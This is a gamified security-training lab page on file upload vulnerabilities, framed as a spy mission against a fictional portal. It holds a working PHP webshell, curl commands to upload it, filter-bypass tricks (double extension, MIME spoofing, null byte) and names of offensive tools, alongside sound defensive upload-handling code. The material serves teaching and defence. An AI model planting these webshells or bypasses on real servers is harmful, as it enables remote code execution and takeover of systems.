> [CRITICAL] FILE CONTENT: PHP WEBSHELL — NOT AN IMAGE
> NEXUS UPLOAD PORTAL HAS BEEN COMPROMISED
> V-Prime: MENDAX — we have an intrusion. A webshell was planted.
> V-Prime: The portal accepts .jpg files. They renamed a PHP script.
> MISSION: OPERATION TROJAN FOLIO — INITIATING
HACKAACADEMY
GHOST CAPITAL // OPERATION
OP-08 // TROJAN FOLIO
📁
«
OP-08
TROJAN FOLIO // FILE UPLOAD VULNERABILITY
0
XP
R1
RANK
0%
PROG
↻
RESET
Resume
FILE UPLOAD VULNERABILITY
OPERATION TROJAN FOLIO
A04:2021 — INSECURE DESIGN
// SITUATION REPORT
Vantage Systems runs a document-management portal out of an Amsterdam bulletproof host — the Syndicate's intake desk for field operatives. It allows profile-photo uploads, and someone slipped through a file named profile_photo.jpg. The filename says image. The content is pure PHP — a webshell planted like a listening device sewn into a padded envelope.
The server swallowed it without a second look. Anyone who hits that URL now runs OS commands on a live Syndicate box. MENDAX wants to know exactly how before we use the same trick on Kane's other nodes.
V-Prime: "We need to understand exactly how they did this before we can lock it down."
// INTERCEPTED COMMS — GHOST CAPITAL NET
V-Prime
The portal only accepts .jpg and .png. Whoever built it assumed that meant images. It doesn't.
MENDAX
They're checking the extension — a label stuck on the envelope. The server runs what's inside the envelope, and nobody opened it.
V-Prime
So someone renames shell.php to shell.jpg and uploads it...
MENDAX
And the server stores it in a PHP-enabled folder. Visit the URL. Full remote code execution through a "photo".
// MISSION OBJECTIVES
01
Identify why the file upload validation fails
02
Exploit it — plant and execute a webshell via the portal
03
Classify which file types are execution threats vs safe data
04
Choose the correct server-side fix to harden the portal
⚡ CYBER RANGE — ACTIVE ENVIRONMENT
LIVE
TARGET
nexus-upload.ghost-capital.int
IP ADDRESS
10.47.0.88
OS / WEB SERVER
Ubuntu 22.04 · nginx/1.18.0
KEY SERVICES
PHP/7.4.28 · /portal/upload · /uploads/
ATTACK SCOPE
Upload endpoint + /uploads/* execution — RCE in scope
ATTACKER NODE
shadow@sigma9 · 10.99.0.1
📋 ROOM TASKS
01
✓
Understand why extension-only validation fails
02
▶
Upload a webshell and achieve remote code execution
03
○
Classify dangerous vs safe file types
04
○
Identify the magic-bytes + UUID + out-of-webroot fix
05
○
Submit the capture-the-flag token
🚩
CAPTURE THE FLAG
Complete the exploit lab. The flag appears in the terminal output. Copy and submit it here for +50 XP.
// PHASE 01 — THE FLAW
THE BUILDING BUILT ON TRUST
10-YEAR-OLD LEVEL
Imagine a building designed with one core assumption: everyone inside will behave honestly. So instead of strong verification, the system relies heavily on trust. Doors and rules exist, but they assume no one will try to misuse them.
Now imagine someone enters who does not follow that assumption. They do not break anything directly. Instead, they use the system in unexpected ways that were never considered during design.
And because the system was never built for that behavior, it begins to fail in ways no one anticipated.
If a system only works when everyone behaves honestly — what happens the moment someone doesn't?
// MENDAX — HOW THIS IS ACTUALLY DONE
MENDAX: "Here's the real method on this fictional, authorised target. The portal only checks the filename ending. So I take a normal web shell and just rename it so the last extension is .jpg — the content stays PHP:"
$ cp shell.php shell.php.jpg
$ curl -F "upload=@shell.php.jpg" https://nexus.int/portal/upload
# server sees ".jpg", accepts it, stores it in /uploads/
[stored] /uploads/shell.php.jpg
MENDAX: "The filename said photo. The contents said shell. When the web server later runs files in that folder as PHP, the disguise stops mattering. The fix is to validate the actual file contents and store uploads outside the web root — we'll get there. First, name the mistake in their code."
// THE VULNERABLE CODE
The NEXUS portal runs this check before accepting an upload. What is the critical mistake?
AThe file size isn't checked — an attacker could upload a 10 GB file and crash the server
BThe server only checks the file extension — a PHP script renamed evil.jpg passes straight through and gets stored as executable code
CThe original filename is used directly — an attacker could name their file ../index.php and overwrite the server homepage
DThere is no safe way to accept user-uploaded files — the feature itself is the vulnerability
// NOT QUITE
✓
FLAW IDENTIFIED
Correct. The check is extension-only — it reads the filename supplied by the user, not the actual file content.
Rename a PHP webshell to shell.jpg. The check passes. The file lands in /uploads/ — a web-accessible, PHP-enabled folder. Visit the URL and the code executes, handing the attacker full control of the server as the web process user.
(Option C is also a real bug in this code — but B is the critical flaw that enables code execution.)
// REFLECTIVE OBSERVATIONThe server trusted what the user said about their file. An extension is metadata the attacker controls. The file content is the ground truth — and the server never checked it.
// PHASE 02 — PLANT THE WEBSHELL
The filter checks the extension — not the content. A PHP file wearing a .jpg mask walks straight through. Execute the full upload chain now.
MISSION OBJECTIVEDemonstrate the complete file upload attack chain: attempt a blocked upload, bypass the filter with an extension rename, then trigger remote code execution via the uploaded file. Three commands — full server compromise.
// LAB DIRECTIVE
You have access to the NEXUS portal debug console. Demonstrate the full attack chain. Type these commands one at a time into the terminal below (tap a command to copy it):
1upload shell.php— try the obvious way. The server blocks it.⧉ copy
2upload shell.jpg— same PHP code, renamed. The filter only reads the extension.⧉ copy
3request /uploads/shell.jpg?cmd=id— execute it. Remote code runs on the server.⧉ copy
Type help anytime for the full command list.
NEXUS UPLOAD PORTAL — DEBUG CONSOLE
NEXUS Document Portal v2.1 — Debug Mode
Connected: nexus-portal.ghost-capital.int
Type help for commands.
portal>
☠
WEBSHELL ACTIVE — RCE CONFIRMED
Full attack chain demonstrated. The PHP file was renamed .jpg, accepted without validation, stored in a web-accessible directory, then executed via a direct URL — giving remote code execution on the NEXUS server as www-data.
The file's name said "image." The file's content said "give me your server."
// PHASE 03 — THREAT TRIAGE
The webshell is planted. Now understand why it worked — file extensions fall into two categories, and a defender who cannot tell the difference cannot build a filter that holds.
// INTEL BRIEF
Not all file types are equally dangerous on a server. Some can execute code — those are critical threats. Others are pure data formats that a server stores without executing.
Tap each extension to classify it: DANGEROUS (executes code) or SAFE (data only). Tap again to toggle. Submit when all 8 are classified.
// INCORRECT
✓
THREAT MAP COMPLETE
Confirmed. .php, .php5, .phtml, .exe are execution vectors — if the server processes them, they run as code and become remote shells.
.jpg, .png, .pdf, .txt are data formats. Safe when stored outside the web root and served with correct Content-Type headers. The key word: if.
// PHASE 04 — HARDEN THE PORTAL
Extension filters are cosmetic — attackers rename files in seconds. The only fix that holds checks what the file actually is. Pick the implementation that survives real-world bypass attempts.
// MISSION CRITICAL
V-Prime needs a recommendation. Which server-side implementation correctly validates file uploads and prevents webshell planting?
A
JavaScript (client-side) extension check if (!file.name.endsWith('.jpg')) { alert('Wrong type'); }
B
Trust the browser's Content-Type header if ($_FILES['f']['type'] !== 'image/jpeg') die();
C
Read magic bytes + rename to UUID + store outside web root finfo_file($finfo, $tmp) → check MIME → bin2hex(random_bytes(16)).'.jpg' → /var/uploads/
D
Scan file content for the string "<?php" if (str_contains(file_get_contents($tmp), '<?php')) die();
// NOT QUITE
🔐
PORTAL HARDENED
Option C is the only production-grade fix. Here's why the others fail:
A: Client-side checks are bypassed the instant the attacker removes the JavaScript — or just uses curl. B: Content-Type is sent by the browser and forged in a proxy in seconds. Never trust client-supplied metadata. D: String scanning is bypassed with PHP short tags (<?=), encoding, or any other scripting language entirely.
C — the correct approach: Read the file's actual magic bytes (the first few bytes that identify its true format), rename to a UUID to prevent path traversal and overwrites, and store outside the web root so the server can never execute it.
// ABSTRACT CONCEPTUALISATIONSecure file upload requires three independent defences: verify what the file actually is (magic bytes), ensure it can never be executed (store outside web root), and ensure it can't be used to attack the path (UUID rename).
📁
MISSION COMPLETE
OPERATION TROJAN FOLIO — CLOSED
The NEXUS upload portal has been patched. MENDAX has traced the planted webshell to an access origin inside Ghost Capital's outer network — the breach is contained, but the actor is still at large.
You now know why a filename is just a label, not a guarantee — and what a complete, production-grade file upload fix actually looks like.
TOTAL XP EARNED
0
DEBRIEF — REFLECTION QUESTION
The server accepted your file because the extension looked like an image. What should it have checked instead — and why can the filename never be trusted on its own?
▶ NEXT BRIEFINGMENDAX: "The attacker's next move targets the XML parser on the NEXUS reporting service. Their payload won't look like an attack. It'll look like a perfectly valid document request. They're making the server fetch its own internal files." Operation Silent Parse.
// INTEL — OP-08 TROJAN FOLIO
OPERATION DOSSIER
Campaign: The Ghost Protocol (Campaign 3) Vulnerability: File Upload / Unrestricted File Upload OWASP: A04:2021 — Insecure Design Impact: Remote Code Execution — attacker gains a shell on the server
A poorly validated upload endpoint accepts executable files disguised as images. Once stored in a web-accessible, PHP-enabled directory, visiting the URL executes the code under the web server's process account.
REAL-WORLD INCIDENTS
ImageTragick (2016): ImageMagick processed user-uploaded images. Attackers embedded shell commands in specially crafted image filenames, triggering RCE on millions of servers (CVE-2016-3714).
WordPress plugin ecosystem: Dozens of plugins have shipped upload endpoints that only check extension — leading to webshell uploads and full site takeovers in the wild.
Bug bounty programs: Unrestricted file upload consistently rates Critical on HackerOne and Bugcrowd when code execution is achievable — often the highest-paying finding in a programme.
ATTACK CHAINS
File upload rarely operates alone:
• Upload + Path Traversal: Use ../ in the filename to land the file outside the upload directory (e.g. overwrite index.php).
• Upload + LFI: Upload a PHP file, then exploit Local File Include to execute it from any path.
• Upload + XSS: Upload an SVG with embedded JavaScript — served with image/svg+xml type, executes in browser.
• Upload + SSRF: Upload an SVG or XML that references internal network resources, triggering server-side requests.
// ACADEMY — CORE LESSON
THE BUILDING BUILT ON TRUST
10-YEAR-OLD LEVEL
A building designed with one core assumption: everyone inside will behave honestly. So instead of strong verification, the system relies heavily on trust. Doors and rules exist, but they assume no one will try to misuse them.
Now imagine someone enters who does not follow that assumption. They do not break anything directly — instead, they use the system in unexpected ways that were never considered during design. And because the system was never built for that behavior, it begins to fail in ways no one anticipated.
If a system only works when everyone behaves honestly — what happens the moment someone doesn't?
// UNDER THE HOOD
🔧 SHOW TECHNICAL DETAILS
▼
THE ATTACK — STEP BY STEP
1. Craft the payload — create a PHP webshell, name it with an accepted extension:
# webshell.jpg — content is PHP, not an image
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
2. Upload — server checks extension only (.jpg ✓), stores file at: /var/www/html/uploads/webshell.jpg
3. Execute — visit the URL with a command parameter:
1. Double Extension
Apache with certain configs executes any file containing .php anywhere in the name: shell.php.jpg → executed as PHP
2. MIME Type Spoofing
Server checks Content-Type (browser-controlled). Attacker intercepts in Burp Suite:
Change Content-Type: application/x-php → Content-Type: image/jpeg
3. Null Byte Injection (older PHP) shell.php%00.jpg — null byte terminates the string, PHP sees shell.php
4. Case variation shell.PHP, shell.Php — bypass case-sensitive extension checks
HOW TO DEFEND — PRODUCTION CODE
The correct fix: check magic bytes, rename with UUID, store outside web root.
// PHP — production-grade upload handler
function handleUpload(array $file): string {
// 1. Validate real MIME via magic bytes (not extension)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($file['tmp_name']);
$allowed = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed, true)) {
throw new RuntimeException('Invalid file type');
}
// 2. Enforce size limit
if ($file['size'] > 5 * 1024 * 1024) {
throw new RuntimeException('File too large');
}
// 3. Generate UUID filename — never trust original name
$ext = ['image/jpeg'=>'jpg','image/png'=>'png','image/gif'=>'gif'][$mime];
$name = bin2hex(random_bytes(16)) . '.' . $ext;
// 4. Store OUTSIDE the web root — /var/uploads, not /var/www/html/uploads
move_uploaded_file($file['tmp_name'], '/var/uploads/secure/' . $name);
// 5. Serve via a PHP proxy that sets correct Content-Type
return '/serve-image.php?id=' . urlencode($name);
}
Node.js equivalent using sharp:
const sharp = require('sharp');
const { v4: uuidv4 } = require('uuid');
const path = require('path');
async function validateAndStore(buffer) {
// sharp throws if buffer isn't a real image
const meta = await sharp(buffer).metadata();
const allowed = ['jpeg', 'png', 'gif', 'webp'];
if (!allowed.includes(meta.format)) {
throw new Error('Not an image');
}
const filename = `${uuidv4()}.${meta.format}`;
// Store outside the static-served directory tree
await require('fs').promises.writeFile(
path.join('/var/uploads', filename), buffer
);
return filename;
}
WHAT ARE MAGIC BYTES?
Every file format begins with a fixed sequence of bytes baked into the file content — not the filename. The OS and libmagic read these to determine the actual type:
PHP files start with <?php (plain text bytes). A real JPEG starts with FF D8 FF. An attacker cannot fake the magic bytes without corrupting the actual image structure — finfo_file() will catch it.
// TOOLS — FILE UPLOAD TESTING
OFFENSIVE TOOLS
Burp Suite
The standard proxy for intercepting and modifying upload requests. Intercept the multipart POST, change the filename from shell.php to shell.jpg, or swap the Content-Type header to bypass MIME checks.
Weevely
Generates obfuscated PHP webshells that bypass simple string-scanning filters. Manages the shell session via HTTP commands after planting.
ExifTool
Embeds payloads into image EXIF metadata. When servers pass EXIF data to shell commands (e.g. during resize), malicious EXIF triggers RCE.
OWASP ZAP / Nikto
Automated scanners that probe upload endpoints for common misconfigurations.
DEFENSIVE TOOLS
php-finfo (libmagic)
Reads magic bytes. Use via finfo_file() in PHP or the file command in shell. The authoritative source for actual file type.
ClamAV
Open-source antivirus that scans uploaded files for known webshell signatures before they're stored.
Content Security Policy (CSP)
Even if a malicious SVG is uploaded and served, a strict CSP prevents its embedded JavaScript from executing in the browser.
ModSecurity (OWASP CRS)
WAF rules that detect webshell patterns in upload payloads — a useful defence layer, not a substitute for server-side validation.
⚡
XP EARNED
+0
FIRST ATTEMPT — FULL BONUS
RANK: RECRUIT
LEAVE MISSION?
Progress is saved. You can resume Operation Trojan Folio from the mission select screen.
RESET MISSION?
This wipes progress for Operation Trojan Folio only. XP in other operations is unaffected.
ARE YOU SURE?
Final confirmation — all progress for this operation will be erased.